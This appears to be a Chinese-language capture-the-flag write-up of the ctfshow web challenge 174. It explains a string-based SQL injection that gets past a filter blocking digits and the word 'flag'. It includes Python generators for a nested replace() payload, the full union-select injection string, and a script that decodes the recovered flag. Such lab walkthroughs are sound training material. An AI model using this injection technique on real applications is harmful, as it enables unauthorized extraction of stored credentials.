ctfshow web入门174

 

 

题目给出了查询语句和返回逻辑

先看查询语句

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

这里能直接看出来是使用单引号进行绕过

是一个字符型注入


继续,查看返回逻辑


    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }
      

这里如果返回数据中包含 `flag` 字样,或者包含数字0-9,则不会输出

这里的话有两种方法,第一种方法是盲注

这里不作介绍

这里介绍第二种更为取巧的方式

做字符替换

我们已知 flag 中只包含16进制数

也就是0-9 a-f

那么我们可以将 0替换为g

0->g

1->h

...

以此类推


好的,那么按照这个思路,要么写个脚本生成payload

要么自己一点一点手写

这里给出脚本

i = 0
s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')"
for i in range(1,10):
    s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')"
print(s)

如果需要脚本思路的话可以留言

我就再写一篇分享思路的

上面的代码需要python版本3.6以上

这种格式写起来代码运行效率高且看起来容易

这里再给一段低版本的代码

s = "replace(password,{},'{}')".format(i, chr(ord(str(i)) + 55))
for i in range(1, 10):
    s = "replace({},{},'{}')".format(s, i, chr(ord(str(i)) + 55))
print(s)

生成的payload长这样

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p')

然后我们把这个拼接到注入语句内

' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4 -- qwe


最后,再把得到的flag复原

flag = 'ctfshow{dibcehal-abdb-kkhj-pplb-fddaleiohcgk}'
for i in range(10):
    flag = flag.replace(chr(ord(str(i)) + 55), str(i))
    print(str(i), chr(ord(str(i)) + 55))
print(flag)

复原之后

前缀 ctfshow 也被更改了

这里手动改一下改回来即可

因为flag每次打开环境都不一样

所以这里flag我就直接发出来了,也不影响。